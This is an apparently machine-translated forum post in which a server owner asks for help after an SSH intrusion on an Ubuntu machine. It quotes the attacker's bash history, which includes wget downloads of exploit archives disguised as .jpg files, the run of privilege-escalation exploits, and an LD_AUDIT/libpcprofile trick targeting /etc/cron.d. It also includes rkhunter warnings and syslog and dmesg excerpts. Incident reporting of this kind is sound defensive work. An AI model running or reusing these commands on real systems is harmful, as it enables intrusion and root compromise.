Ubuntu服务器黑客

我看着netstat，我注意到除了我以外的人通过SSH连接到服务器。 我照顾这个，因为我的用户只有一个SSH访问。 我发现这在一个FTP用户.bash_history文件：

w uname -a ls -a sudo su wget qiss.ucoz.de/2010/.jpg wget qiss.ucoz.de/2010.jpg tar xzvf 2010.jpg rm -rf 2010.jpg cd 2010/ ls -a ./2010 ./2010x64 ./2.6.31 uname -a ls -a ./2.6.37-rc2 python rh2010.py cd .. ls -a rm -rf 2010/ ls -a wget qiss.ucoz.de/ubuntu2010_2.jpg tar xzvf ubuntu2010_2.jpg rm -rf ubuntu2010_2.jpg ./ubuntu2010-2 ./ubuntu2010-2 ./ubuntu2010-2 cat /etc/issue umask 0 dpkg -S /lib/libpcprofile.so ls -l /lib/libpcprofile.so LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ping gcc touch a.sh nano a.sh vi a.sh vim wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh nano ubuntu10.sh ls -a rm -rf ubuntu10.sh . .. a.sh .cache ubuntu10.sh ubuntu2010-2 ls -a wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh ls -a rm -rf ubuntu10.sh wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe rm -rf W2Ksp3.exe passwd 

系统在监狱里 在目前的情况下是否重要？ 我该怎么办？

感谢大家！

我已经做了这些： – 禁止与iptables连接的SSH主机 – 停在监狱sshd – 保存：bach_history，syslog，dmesg，文件在bash_history的wget行

• openSUSE安装和虚拟机不断被黑客和砖砌
• 在Apache中阻止黑客攻击的工具
• 通过物理数据提取来保护LAMP主机
• 有没有办法logging谁上传或更改特定文件？ （centos）
• Apache服务器redirect来自Google的请求，妥协？

我安装了rkhunter，并取消隐藏。 我运行“unhide sys”命令，导致1个隐藏进程。 现在我正在运行rkhunter …好的。

rkhunter -c导致了一些警告：

• 在监狱：检查是否允许SSH根访问[警告]检查系统日志configuration文件[警告]

  执行文件系统检查检查隐藏文件和目录[警告]

• 主机系统：执行文件系统检查检查/开发可疑文件types[警告]检查隐藏文件和目录[警告]

我在dmesg和syslog中发现黑客试图用irda做些事情：

• 系统日志：

  2月28日22:48:41 i386内核：[4180166.230061] irda_init（）
 2月28日22:48:41 i386内核：[4180166.230077] NET：注册协议族23
 2月28日22:48:46 i386内核：[4180171.242169] ioctl32（2.6.31：4726）：未知cmd fd（0）cmd（ffbb382c）{t：'8'; sz：16315} arg（00000001）on / dev / PTS / 0
 2月28日22:49:12 i386 sudo：pam_sm_authenticate：调用
 2月28日22:49:12 i386 sudo：pam_sm_authenticate：username = [i]
 Feb 28 22:49:12 i386 sudo：pam_sm_authenticate：/ home / i已经挂载
 2月28日22:49:33 i386内核：[4180218.465341]可以：控制器区域networking核心（rev 20090105 abi 8）
 2月28日22:49:33 i386内核：[4180218.465413] NET：注册的协议族29
 2月28日22:49:33 i386内核：[4180218.493398]可以：广播pipe理协议（rev 20090105 t）
 2月28日23:00:49 i386内核：[4180894.035222] ip_tables：（C）2000-2006 Netfilter核心团队
 2月28日23:13:48 i386 sudo：pam_sm_authenticate：调用
 2月28日23:13:48 i386 sudo：pam_sm_authenticate：username = [i]
 Feb 28 23:13:48 i386 sudo：pam_sm_authenticate：/ home / i已经挂载
 Feb 28 23:17:01 i386 CRON [10126] :(根）CMD（cd / && run-parts --report /etc/cron.hourly）
 2月28日23:36:29 i386 sudo：pam_sm_authenticate：调用
 2月28日23:36:29 i386 sudo：pam_sm_authenticate：username = [i]
 Feb 28 23:36:29 i386 sudo：pam_sm_authenticate：/ home / i已经挂载 

• dmesg的：

  [4180166.230061] irda_init（）
 [4180166.230077] NET：注册的协议族23
 / dev / pts / 0 [4180171.242169] ioctl32（2.6.31：4726）：Unknown cmd fd（0）cmd（ffbb382c）{t：'8'; sz：16315} arg
 [4180218.465341]可以：控制器局域网核心（rev 20090105 abi 8）
 [4180218.465413] NET：注册的协议族29
 [4180218.493398]可以：广播pipe理器协议（rev 20090105 t）
 [4180894.035222] ip_tables：（C）2000-2006 Netfilter核心团队